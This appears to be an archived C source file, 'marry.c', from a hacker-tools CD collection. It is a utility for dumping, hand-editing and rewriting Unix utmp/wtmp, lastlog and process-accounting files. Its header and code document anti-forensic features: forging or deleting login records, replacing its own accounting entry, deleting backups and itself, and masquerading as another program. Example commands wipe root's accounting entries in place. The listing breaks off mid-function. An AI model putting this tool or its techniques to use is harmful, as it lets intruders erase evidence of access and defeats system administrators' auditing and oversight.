home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / marry.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  25.7 KB  |  1,234 lines

  1.  
  2.  
  3. /* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
  4.  * All rights reserved.
  5.  *
  6.  * May there be peace in the world, and objectivity amoung men.
  7.  *
  8.  * You may not use this program for unethical purposes. 
  9.  *
  10.  * You may not use this program in relation to your employment, or for monetary
  11.  * gain without express permission from the author.
  12.  *
  13.  * usage:  
  14.  *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
  15.  *         [-E editor] [-h program] [-b backup ]
  16.  *
  17.  *   -a        automode, dump, run editor over dump and re-assemble to object
  18.  *   -e        edit source, assemble directly to input file, imples no insertion
  19.  *              of records before an equal quantity of deltion
  20.  *   -t        truncate object to last line of dump source when assembling
  21.  *   -s        squeeze, delete all record in input not occuring in dump
  22.  *              (higher entries in input will be appended unless -t is also 
  23.  *              specified)
  24.  *   -u     when in [L]astlog mode do user-id -> name lookups (time consuming)
  25.  *   -S        Security, when in [A]cct and -[a]uto mode replace editor's acct
  26.  *              record with an unmodified random previous entry, detach from 
  27.  *              terminal, SIGKILL ourselves or execlp [-h program] to hide our
  28.  *              acct record (marry should be exec'ed under these circumstances)
  29.  *   -c        clean, delete backup and dump files once complete
  30.  *   -D        Delete our self once complete (i.e argv[0])
  31.  *   -n        no backups, don't make backups when in -e, -a modes or when
  32.  *              -i file == -o file
  33.  *   -i src    input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
  34.  *              to the system wtmp/lastlog/pacct depending on mode if not specified
  35.  *   -o obj     output, the dump assembled and input merged version of the
  36.  *              above. if given and not in -[a]uto mode, implies we are 
  37.  *              assembling, not dumping. 
  38.  *   -d dump    dump, the dump (editable representation of src) file name. this
  39.  *              is is either an input (-o specified) an output (no -o) or both
  40.  *              -[a]uto. defaults to "marry.dmp" in the current directory if not
  41.  *              specified
  42.  *   -p pat     pattern match. When disassembling (dumping), only extract records
  43.  *              which match (checked against all string fields, and the uid if
  44.  *              the pattern is a valid username)
  45.  *   -v pat    inverse pattern match. like egrep -v. above non-logic features.
  46.  *   -m mode    mode is one of:
  47.  *
  48.  *            W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
  49.  *                      L  -  lastlog
  50.  *                      A  -  acct/pacct
  51.  *  
  52.  *   -E editor    editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
  53.  *              be the full path in -[S]ecurity mode (we do some clever
  54.  *              symlinking)
  55.  *   -h program hide, if -S mode is on, then attempt to conceal our acct entry by
  56.  *              execlp'ing the specified program. this seems to work on BSD derived
  57.  *              systems. with others, your might want to just call marry something
  58.  *              innocous.
  59.  *   -b backup  name of backup file, defaults to "marry.bak"
  60.  * 
  61.  *   the following instruction codes can be placed in position one of the dump
  62.  *   lines to be assembled (e.g "0057a" -> "=057a"):
  63.  *
  64.  *   '='    tag modification of entry. 
  65.  *   '+'    tag insertion of entry
  66.  *
  67.  * Examples:
  68.  *
  69.  * $ marry -mW -i /etc/utmp -s -a    # dump, edit, re-assemble and strip deleted
  70.  *                                      # entries from utmp
  71.  *  
  72.  * $ marry -mL -u -a -n -e            # dump lastlog with usernames, edit, make no
  73.  *                                      # backups and re-assemble in-situ directly to
  74.  *                                      # lastlog
  75.  *
  76.  * $ marry -mW -a -p mil -E emacs    # dump all wtmp entries matching "mil", edit
  77.  *                                      # with emacs, re-assemble and re-write to wtmp
  78.  *
  79.  * $ exec marry -mA -SceD         # dump all acct entries by root, edit, remove
  80.  *     -h /usr/sbin/in.fingerd          # editor's acct record, re-assemble directly
  81.  *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump file,
  82.  *                                      # delete ourself from the disk, unassign our
  83.  *                                      # controling terminal, and lastly overlay our
  84.  *                                      # self (and thus our to be acct record) with
  85.  *                                      # in.fingerd
  86.  */
  87.  
  88. #define UTMP
  89. #undef UTMPX /* solaris has both */
  90. #define LASTLOG
  91. #define PACCT
  92.  
  93. #include <stdio.h>
  94. #include <unistd.h>
  95. #include <stdlib.h>
  96. #include <string.h>
  97. #include <sys/types.h>
  98. #include <sys/time.h>
  99. #include <sys/stat.h>
  100. #include <sys/wait.h>
  101. #include <fcntl.h>
  102. #include <signal.h>
  103. #include <pwd.h>
  104. #include <grp.h>
  105. #include <errno.h>
  106.  
  107. #ifdef __SVR3
  108. #  include <getopts.h>
  109. #endif
  110. #ifndef bsd
  111. #  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
  112. #    define bsd
  113. #  endif
  114. #endif
  115.  
  116. #if !defined(gcc)
  117. #  define NO_VOID /* non gcc, early compiliers */
  118. #endif
  119.  
  120. #ifndef __SVR3
  121. extern char *optarg; 
  122. #endif
  123.  
  124. #ifdef NO_VOID
  125. #  define VOID int
  126. #  define FVOID
  127. #else 
  128. #  define VOID void
  129. #  define FVOID void
  130. #endif
  131.  
  132. #ifndef bool 
  133. #  define bool char
  134. #endif
  135.  
  136. #define match(a,b) (match_s((a), (b), sizeof(a)))
  137.  
  138. #ifdef UTMP
  139. #ifdef UTMPX
  140. #  include <utmpx.h>
  141. #  define S_UTMP utmpx
  142. #  define UT_HOST ut_host
  143. #  define UT_ID ut_id
  144. #  define UT_TYPE ut_type
  145. #  define UT_PID ut_pid
  146. #  define UT_TV ut_tv
  147. #  ifdef _PATH_WTMPX
  148. #    define WTMP_FILE _PATH_WTMPX
  149. #  else
  150. #    ifdef WTMPX_FILE
  151. #      define WTMP_FILE WTMPX_FILE
  152. #    else
  153. #      define WTMP_FILE "/usr/adm/wtmpx"
  154. #    endif
  155. #  endif
  156. #else
  157. #  include <utmp.h>
  158. #  define S_UTMP utmp
  159. #  ifndef WTMP_FILE
  160. #    ifdef _PATH_WTMP
  161. #      define WTMP_FILE _PATH_WTMP
  162. #    else
  163. #      define WTMP_FILE "/usr/adm/wtmp"
  164. #    endif
  165. #  endif
  166. #  if !defined(ut_name) && !defined(ut_user)
  167. #    define ut_user ut_name
  168. #  endif
  169. #  if defined(linux) || defined(bsd) || defined(sun)
  170. #    define UT_HOST ut_host
  171. #  endif
  172. #  ifdef linux
  173. #    define UT_ADDR ut_addr
  174. #  endif
  175. #  define UT_TIME ut_time
  176. #  if defined(linux) || defined(solaris)
  177. #    define UT_PID  ut_pid
  178. #    define UT_ID   ut_id
  179. #  endif
  180. #  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
  181. #    define UT_TYPE ut_type
  182. #  endif
  183. #endif
  184. #endif
  185.  
  186. #ifdef LASTLOG
  187. #  ifdef bsd
  188. #    ifndef UTMP
  189. #      include <utmp.h>
  190. #    endif
  191. #  else
  192. #    include <lastlog.h>
  193. #  endif
  194. #  ifndef LASTLOG_FILE
  195. #    ifdef _PATH_LASTLOG
  196. #      define LASTLOG_FILE _PATH_LASTLOG
  197. #    else
  198. #      define LASTLOG_FILE "/usr/adm/lastlog"
  199. #    endif
  200. #  endif
  201. #  define LL_HOST ll_host
  202. #endif
  203.  
  204. #ifdef PACCT
  205. #  include <sys/acct.h>
  206. #  ifdef bsd
  207. #    define PACCT_FILE "/var/account/acct"
  208. #  else
  209. #    define PACCT_FILE "/usr/adm/pacct"
  210. #  endif
  211. #endif
  212.  
  213. #ifdef UT_ADDR
  214. #  include <arpa/inet.h>
  215. #endif
  216.  
  217. FILE *ofh, *ifh, *afh;
  218.  
  219. #ifdef UTMP
  220. struct S_UTMP s_utmp;
  221. #endif
  222. #ifdef LASTLOG
  223. struct lastlog s_lastlog;
  224. #endif
  225. #ifdef PACCT
  226. struct acct s_acct;
  227. struct acct ac_saved;
  228. int acct_step;
  229. #endif
  230. char ac_comm_hide[32];
  231.  
  232. struct passwd *uid;
  233. struct passwd uid_s;
  234. char **uida=NULL;
  235. char **gida=NULL;
  236.  
  237. #define MAX_UID 65537
  238.  
  239. char *quotes="\"\"";
  240.  
  241. int globline=0;
  242.  
  243. char *a_Input=NULL;
  244. char *a_Output=NULL;
  245. char *a_Pattern=NULL;
  246. char *a_Hide=NULL;
  247. #ifdef sun
  248. char *a_Editor="/usr/ucb/vi";
  249. #else
  250. char *a_Editor="/usr/bin/vi";
  251. #endif
  252. char *a_Dump="marry.dmp";
  253. char *a_Backup="marry.bak";
  254. bool f_Auto=0;
  255. bool f_Squeeze=0;
  256. bool f_EditSrc=0;
  257. bool f_Truncate=0;
  258. bool f_Exclude=0;
  259. bool f_Uid=0;
  260. bool f_Security=0;
  261. bool f_Clean=0;
  262. bool f_DeleteSelf=0;
  263. bool f_NoBackups=0;
  264. bool f_backedup;
  265. char mode;
  266.  
  267. int mode_size=0;
  268. void *mode_data;
  269.  
  270. int globline;
  271. char *mes;
  272. time_t otime=0;
  273. FVOID display()
  274. {
  275. static int n;
  276. time_t t;
  277.     globline++;
  278.     if (n++<30) return; /* don't want too many context switches */
  279.     n=0;
  280.     time(&t);
  281.     if (t<(otime+1)) return;
  282.     otime=t;
  283.     printf("%s%d\r", mes, globline);
  284.     fflush(stdout);
  285. }
  286. FVOID display_end()
  287. {
  288.     printf("%s%d\n", mes, globline);
  289.     fflush(stdout);
  290. }
  291.  
  292. #ifdef NO_VOID
  293. char
  294. #else
  295. void
  296. #endif
  297. *
  298. Smalloc(n)
  299. int n;
  300. {
  301. #ifdef NO_VOID
  302. char
  303. #else
  304. void
  305. #endif
  306. * p;
  307.     while (!(p=malloc(n))) sleep(1);
  308.     return p;
  309. }
  310.  
  311. bool copyf(src, dst)
  312. char *src;
  313. char *dst;
  314. {
  315. #define CBUFLEN 128*1024
  316. int fi, fo;
  317. char *buf;
  318. int cc;
  319.     if ((fi=open(src, O_RDONLY, 0))<0)
  320.     {
  321.         perror(src);
  322.         exit(1);
  323.     }
  324.     if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
  325.     {
  326.         perror(dst);
  327.         exit(1);
  328.     }
  329.     buf=Smalloc(CBUFLEN);
  330.     while ((cc=read(fi, buf, CBUFLEN))>0)
  331.         if (write(fo, buf, cc)!=cc)
  332.         {
  333.             perror(dst);
  334.             exit(1);
  335.         }
  336.     close(fo);
  337.     close(fi);
  338.     free(buf);
  339.     return 1;
  340. }
  341.  
  342. bool backup(src)
  343. char *src;
  344. {
  345.     printf("backup = %s\n", a_Backup);
  346.     fflush(stdout);
  347.     return copyf(src, a_Backup);
  348. }
  349.  
  350. char *match_s(haystack, needle, n)
  351. char *haystack;
  352. char *needle;
  353. int n;
  354. {
  355. static char tmp[256];
  356.     strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
  357.     return strstr(tmp, needle);
  358. }
  359.  
  360. unsigned short atoi2(s)
  361. char *s;
  362. {
  363.     return (s[0]-'0')*10+(s[1]-'0');
  364. }
  365.  
  366. char *p_string(s, size)
  367. char *s;
  368. int size;
  369. {
  370. static char sss[1024];
  371. register int n;
  372. char *ss=sss;
  373.     if (!*s) return quotes;
  374.     
  375.     for (n=0; n<size; n++)
  376.     {
  377.         char c=s[n];
  378.         switch (c)
  379.         {
  380.         case '\\':
  381.             *(ss++)=c;
  382.             break;
  383.         case ' ':
  384.             *(ss++)='\\';
  385.             break;
  386.         case '\t':
  387.             *(ss++)='\\';
  388.             c='t';
  389.             break;
  390.         case '\n':
  391.             *(ss++)='\\';
  392.             c='n';
  393.             break;
  394.         case '\r':
  395.             *(ss++)='\\';
  396.             c='r';
  397.             break;
  398.         case 0:
  399.             goto end;
  400.         }
  401.         *(ss++)=c;
  402.     }
  403. end:
  404.     *ss=0;
  405.     return sss;
  406. }
  407.  
  408. char *skip_white(s)
  409. char *s;
  410. {    for (; *s && (*s=='\t' || *s==' '); s++);
  411.     if (!*s || (*s=='\n')) return NULL;
  412.     return s;
  413. }
  414.  
  415. char *g_string(d, s, size)
  416. char *d;
  417. char *s;
  418. int size;
  419. {
  420. int y;
  421. char c;
  422. char f_esc=0;
  423.     for (y=0; y<size; y++) d[y]=0;
  424.     if (!(s=skip_white(s))) return NULL;
  425.     if (*s=='"' && *(s+1)=='"') return s+2;
  426.     for (y=0; y<size; s++)
  427.     {
  428.         c=*s;
  429.         if (f_esc)
  430.         {
  431.             switch(c)
  432.             {
  433.             case 'r':
  434.                 c='\r';
  435.                 break;
  436.             case 'n':
  437.                 c='\n';
  438.                 break;
  439.             case 't':
  440.                 c='\t';
  441.                 break;
  442.             }
  443.             f_esc=0;
  444.         } else {
  445.             switch(c)
  446.             {
  447.             case '\\':
  448.                 f_esc=1;
  449.                 continue;
  450.             case ' ':
  451.             case '\t':
  452.             case '\n':
  453.             case '\0':
  454.                 goto end;
  455.             }
  456.         }
  457.         d[y++]=c;
  458.     }
  459. end:
  460.     return s+1;
  461. }
  462.  
  463. char *time_s(tt)
  464. time_t tt;
  465. {
  466. static char s[13];
  467.     time_t t=tt; /* some compilers won't take a parameter address */
  468.     struct tm *tp;
  469.     tp=localtime(&t);
  470.     sprintf(s, "%02d%02d%02d%02d%02d%02d",
  471.         tp->tm_year, tp->tm_mon+1, tp->tm_mday,
  472.         tp->tm_hour, tp->tm_min, tp->tm_sec);
  473.     return s;
  474. }
  475.  
  476. time_t time_i(s)
  477. char *s;
  478. {
  479.     struct tm lt;
  480.     time_t t;
  481.     if (strlen(s)!=12) return (time_t)-1;
  482.     time(&t);
  483.     lt=*localtime(&t);
  484.     lt.tm_year=atoi2(s);
  485.     lt.tm_mon=atoi2(s+2)-1;
  486.     lt.tm_mday=atoi2(s+4);
  487.     lt.tm_hour=atoi2(s+6);
  488.     lt.tm_min=atoi2(s+8);
  489.     lt.tm_sec=atoi2(s+10);
  490.     lt.tm_isdst=-1;
  491.     return mktime(<);
  492. }
  493.  
  494. char *
  495. bgetgrgid(u)
  496. gid_t u;
  497. {
  498. struct group *gr;
  499.     if (!gida)
  500.     {
  501.         int n;
  502.         gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
  503.         for (n=0; n<MAX_UID; n++) gida[n]=NULL; 
  504.     }
  505.     if (gida[u]==(char *)-1) return NULL;
  506.     if (gida[u]) return gida[u];
  507.     if (!(gr=getgrgid(u))) 
  508.     {
  509.         gida[u]=(char *)-1;
  510.         return NULL;
  511.     }
  512.     gida[u]=Smalloc(strlen(gr->gr_name)+1);
  513.     strcpy(gida[u], gr->gr_name);
  514.     return gida[u];
  515. }
  516.  
  517. char *
  518. bgetpwuid(u)
  519. uid_t u;
  520. {
  521. struct passwd *pw;
  522.     if (!uida)
  523.     {
  524.         int n;
  525.         uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
  526.         for (n=0; n<MAX_UID; n++) uida[n]=NULL; 
  527.     }
  528.     if (uida[u]==(char *)-1) return NULL;
  529.     if (uida[u]) return uida[u];
  530.     if (!(pw=getpwuid(u))) 
  531.     {
  532.         uida[u]=(char *)-1;
  533.         return NULL;
  534.     }
  535.     uida[u]=Smalloc(strlen(pw->pw_name)+1);
  536.     strcpy(uida[u], pw->pw_name);
  537.     return uida[u];
  538. }
  539.  
  540. #ifdef UTMP
  541. bool dump_utmp(uline, ut)
  542. int uline;
  543. struct S_UTMP *ut;
  544. {
  545.     time_t tim;
  546.     if (a_Pattern)
  547.     {
  548.         if (!match(ut->ut_user, a_Pattern) &&
  549.             !match(ut->ut_line, a_Pattern)
  550. #ifdef UT_HOST
  551.             && !match(ut->UT_HOST, a_Pattern)
  552. #endif
  553.             ) {if (!f_Exclude) return 1;}
  554.         else if (f_Exclude) return 1;
  555.      }
  556.     fprintf(afh, "%05x", uline-1);
  557.     fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
  558.     fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
  559. #ifdef UT_ID
  560.     fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
  561. #endif
  562. #ifdef UT_TYPE
  563.     fprintf(afh, " %-2x", ut->UT_TYPE);
  564. #endif
  565. #ifdef UT_PID
  566.     fprintf(afh, " %-5d", (int)ut->UT_PID);
  567. #endif
  568. #if defined(UT_TIME) || defined (UT_TV)
  569. #  ifdef UT_TIME
  570.     tim=ut->UT_TIME;
  571. #  else
  572.     tim=ut->UT_TV.tv_sec;
  573. #  endif
  574.     fprintf(afh, " %s", time_s(tim));
  575. #endif
  576. #ifdef UT_ADDR
  577.     fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
  578. #endif
  579. #ifdef UT_HOST
  580.     fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
  581. #endif
  582.     fputc('\n', afh);
  583.     return 1;
  584. }
  585. #endif
  586.  
  587. #ifdef LASTLOG
  588. bool dump_lastlog(uline, ll)
  589. int uline;
  590. struct lastlog *ll;
  591. {
  592.     char *name;
  593.     struct passwd *pw;
  594.     if (f_Uid) 
  595.     {
  596.         pw=getpwuid(uline-1);
  597.         name=pw? pw->pw_name: quotes;
  598.     } else
  599.     {
  600.       static char s[6];
  601.           sprintf(s, "%05d", uline-1);
  602.         name=s;
  603.     }
  604.     if (a_Pattern)
  605.     {
  606.         if (
  607.             (!uid || (uid->pw_uid!=(uline-1))) &&
  608.             (!f_Uid || strstr(name, a_Pattern)) &&
  609. #ifdef LL_HOST
  610.             !match(ll->ll_host, a_Pattern) &&
  611. #endif
  612.             !match(ll->ll_line, a_Pattern)
  613.             ) {if (!f_Exclude) return 1;}
  614.         else if (f_Exclude) return 1;
  615.      }
  616.     fprintf(afh, "%05x", uline-1);
  617.     fprintf(afh, " %-8s", name);
  618.     fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
  619.     fprintf(afh, " %s", time_s(ll->ll_time));
  620. #ifdef LL_HOST
  621.     fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
  622. #endif
  623.     fputc('\n', afh);
  624.     return 1;
  625. }
  626. #endif
  627.  
  628. #ifdef PACCT
  629. bool dump_pacct(uline, ac)
  630. int uline;
  631. struct acct *ac;
  632. {
  633.     char *name;
  634.     char *gr_name;
  635.     if (!(name=bgetpwuid(ac->ac_uid)))
  636.     {
  637.       static char s[6];
  638.           sprintf(s, "%05d", ac->ac_uid);
  639.         name=s;
  640.     }
  641.     if (!(gr_name=bgetgrgid(ac->ac_gid)))
  642.     {
  643.       static char s[6];
  644.           sprintf(s, "%05d", ac->ac_gid);
  645.         gr_name=s;
  646.     }
  647.     if (a_Pattern)
  648.     {
  649.         if (
  650.             (!uid || (uid->pw_uid!=ac->ac_uid)) &&
  651.             (strstr(name, a_Pattern)) &&
  652.             (strstr(gr_name, a_Pattern))
  653.             ) {if (!f_Exclude) return 1;}
  654.         else if (f_Exclude) return 1;
  655.     }
  656.     fprintf(afh, "%05x", uline-1);
  657.     fprintf(afh, " %-8s", name);
  658.     fprintf(afh, " %-8s", gr_name);
  659.     fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
  660.     if (ac->ac_tty==(dev_t)-1)
  661.         fputs(" ----", afh);
  662.     else
  663.         fprintf(afh, " %04x", ac->ac_tty);
  664.     fprintf(afh, " %2x", ac->ac_flag);
  665.     fprintf(afh, " %s", time_s(ac->ac_btime));
  666.     fputc('\n', afh);
  667.     return 1;
  668. }
  669. #endif
  670.  
  671. FVOID makedump()
  672. {
  673. int uline;
  674.     if ((ifh=fopen(a_Input, "r"))==NULL)
  675.     {
  676.         perror(a_Input);
  677.         exit(1);
  678.     }
  679.     if ((afh=fopen(a_Dump, "w"))==NULL)
  680.     {
  681.         perror(a_Dump);
  682.         exit(1);
  683.     }
  684.     fputc('\n', stdout);
  685.     globline=0;
  686.     mes="entries disassembled: ";
  687.     for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
  688.     {
  689.         display();
  690.         switch(mode)
  691.         {
  692. #ifdef UTMP
  693.         case 'W':
  694.             dump_utmp(uline, mode_data);
  695.             break;
  696. #endif
  697. #ifdef LASTLOG
  698.         case 'L':
  699.             dump_lastlog(uline, mode_data);
  700.             break;
  701. #endif
  702. #ifdef PACCT
  703.         case 'A':
  704.             dump_pacct(uline, mode_data);
  705.             break;
  706. #endif
  707.         }
  708.     }
  709.     display_end();
  710.     fclose(afh);
  711.     fclose(ifh);
  712. }
  713.  
  714. int seek_ifh(uline)
  715. int uline;
  716. {
  717.     if (ftell(ifh)!=mode_size*(uline-1))
  718.         if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
  719.             return 0;
  720.     return 1;
  721. }
  722.  
  723. #ifdef UTMP
  724. int mod_utmp(ut, p)
  725. struct S_UTMP *ut;
  726. char *p;
  727. {
  728.     char *op;
  729. static char tmp[255];
  730. #if defined(UT_TIME) || defined(UT_TV)
  731. #endif
  732.     op=p;
  733.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  734.     if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
  735.     if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
  736. #ifdef UT_ID
  737.     if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
  738. #endif
  739. #ifdef UT_TYPE
  740.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  741.     sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
  742. #endif
  743. #ifdef UT_PID
  744.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  745.     ut->UT_PID=atoi(tmp);
  746. #endif
  747. #if defined(UT_TIME) || defined(UT_TV)
  748.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  749. #  ifdef UT_TIME
  750.     if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
  751. #  else /* UT_TV */
  752.     if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
  753. #  endif
  754.         fprintf(stderr, "warning: invalid time spec %s", op);
  755. #endif
  756. #ifdef UT_ADDR
  757.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  758.     ut->UT_ADDR=inet_addr(tmp);
  759. #endif
  760. #ifdef UT_HOST
  761.     if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
  762. #endif
  763.     return 1;
  764. }
  765. #endif
  766.  
  767. #ifdef LASTLOG
  768. int mod_lastlog(ll, p)
  769. struct lastlog *ll;
  770. char *p;
  771. {
  772.     char *op;
  773. static char tmp[255];
  774.     op=p;
  775.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  776.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
  777.     if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
  778.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  779.     if ((ll->ll_time=time_i(tmp))==(time_t)-1)
  780.         fprintf(stderr, "warning illegal time: %s\n", op);
  781. #ifdef LL_HOST
  782.     if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
  783. #endif
  784.     return 1;
  785. }
  786. #endif
  787.  
  788. #ifdef PACCT
  789. int mod_pacct(ac, p)
  790. struct acct *ac;
  791. char *p;
  792. {
  793. static char tmp[255];
  794. struct passwd *pw;
  795. struct group *gr;
  796. char *op;
  797. long int t;
  798. unsigned int tu;
  799.     op=p;
  800.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  801.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  802.     if (sscanf(tmp, "%ld", &t)!=1)
  803.     {
  804.         if (!(pw=getpwnam(tmp)))
  805.             fprintf(stderr, "warning: unknown username %s\n", op);
  806.         else
  807.             ac->ac_uid=pw->pw_uid;
  808.     } else ac->ac_uid=t;
  809.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  810.     if (sscanf(tmp, "%ld", &t)!=1)
  811.     {
  812.         if (!(gr=getgrnam(tmp)))
  813.             fprintf(stderr, "warning: unknown group %s\n", op);
  814.         else
  815.             ac->ac_gid=pw->pw_gid;
  816.     } else ac->ac_gid=t;
  817.     if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
  818.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  819.     if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
  820.     else ac->ac_tty=tu;
  821.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  822.     if (sscanf(tmp, "%x", &tu)!=1)
  823.         fprintf(stderr, "warning: invalid flags %s\n", op);
  824.     else ac->ac_flag=tu;
  825.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  826.     if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
  827.         fprintf(stderr, "warning: illegal time: %s\n", op);
  828.     return 1;
  829. }
  830. #endif
  831.  
  832. bool wcopy(uline)
  833. int uline;
  834. {
  835.     if (!seek_ifh(uline)) return 0;
  836.     while (fread(mode_data, mode_size, 1, ifh)>0)
  837.     {
  838.         display();
  839. #ifdef PACCT
  840.         if (f_Security && f_Auto && mode=='A')
  841.         {
  842.             struct acct *p; 
  843.             p=(struct acct *)mode_data;
  844.             if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
  845.             {
  846.                 ac_saved.ac_btime=p->ac_btime;
  847.                 *p=ac_saved;
  848.             }
  849.         }
  850. #endif
  851.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  852.     }
  853. #ifndef NO_FTRUNCATE
  854.     if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
  855. #endif
  856.     return 1;
  857. }
  858.  
  859. bool domod(p)
  860. char *p;
  861. {
  862. bool ret=0;
  863.     if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  864.     switch(mode)
  865.     {
  866. #ifdef UTMP
  867.     case 'W':
  868.         ret=mod_utmp(mode_data, p);
  869.         break;
  870. #endif
  871. #ifdef LASTLOG
  872.     case 'L':
  873.         ret=mod_lastlog(mode_data, p);
  874.         break;
  875. #endif
  876. #ifdef PACCT
  877.     case 'A':
  878.         ret=mod_pacct(mode_data, p);
  879.         break;
  880. #endif
  881.     }
  882.     if (!ret)
  883.         fprintf(stderr, "warning: invalid dump input `%s'\n", p);
  884.     return 1;
  885. }
  886.  
  887. static wu_line=0;
  888.  
  889. int obj_update(uline, p, f_mod)
  890. int uline;
  891. char *p;
  892. char f_mod;
  893. {
  894.     if (f_Squeeze)
  895.     {
  896.         display();
  897.         seek_ifh(uline);
  898.         if (f_mod) {if (!domod(p)) return 0;}
  899.         else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  900.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  901.     } else {
  902.         if (f_EditSrc)
  903.         {
  904.             if (f_mod)
  905.                 fseek(ofh, mode_size*(uline-1), SEEK_SET);
  906.         } else {
  907.             while(++wu_line<uline)
  908.             {
  909.                 display();
  910.                 if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  911.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  912.             }
  913.         }
  914.         if (f_mod)
  915.         {
  916.             seek_ifh(uline);
  917.             if (!domod(p)) return 0;
  918.             if (f_mod==2) wu_line--; 
  919.         } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  920.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  921.         display();
  922.     }
  923. #ifdef PACCT
  924.     if (f_Security && f_Auto && !f_mod && mode=='A')
  925.         if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
  926. #endif
  927.     return 1;
  928. }
  929.  
  930. FVOID makeobject()
  931. {
  932. int uline=1;
  933. char line[1024];
  934. char *p;
  935. char f_mod;
  936.     if ((ifh=fopen(a_Input, "r"))==NULL)
  937.     {
  938.         perror(a_Input);
  939.         exit(1);
  940.     }
  941.     if ((afh=fopen(a_Dump, "r"))==NULL)
  942.     {
  943.         perror(a_Dump);
  944.         exit(1);
  945.     }
  946.     if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
  947.     {
  948.         perror(a_Output);
  949.         exit(1);
  950.     }
  951. #ifdef PACCT
  952.     if (f_Security && f_Auto && mode=='A')
  953.         acct_step=(getpid()+8)%60;
  954. #endif
  955.     fputc('\n', stdout);
  956.     globline=0;
  957.     mes="entries assembled: ";
  958.     while (1)
  959.     {
  960.         if (!fgets((p=line), sizeof(line), afh)) 
  961.         {
  962.             if (f_EditSrc)
  963.             {
  964. #ifndef NO_FTRUNCATE
  965.                 if (f_Truncate)
  966.                 {
  967.                     fflush(ofh);
  968.                     ftruncate(fileno(ofh), uline*mode_size);
  969.                 }
  970. #endif
  971.                 goto closeup;
  972.             }
  973.             if (!f_Truncate) wcopy(uline+1);
  974.             goto closeup;
  975.         }
  976.         switch (*p)
  977.         {
  978.         case 0:
  979.         case '#':
  980.         case '\n':
  981.             continue;
  982.         case '=': 
  983.             f_mod=1; 
  984.             p++; 
  985.             break;
  986.         case '+':
  987.             if (f_EditSrc)
  988.             {
  989.                 if (f_Squeeze)
  990.                     fprintf(stderr, "warning: the + operator can have \
  991. unpredictable effects when used in conbination with -e and -s\n");
  992.                 else
  993.                 {
  994.                     fprintf(stderr, "error: + operator used with -e\n");
  995.                     exit(1);
  996.                 }
  997.             }
  998.             f_mod=2;
  999.             p++;
  1000.             break;
  1001.         default: {f_mod=0; break;}
  1002.         }
  1003.         if (sscanf(p, "%x", &uline)!=1)
  1004.         {
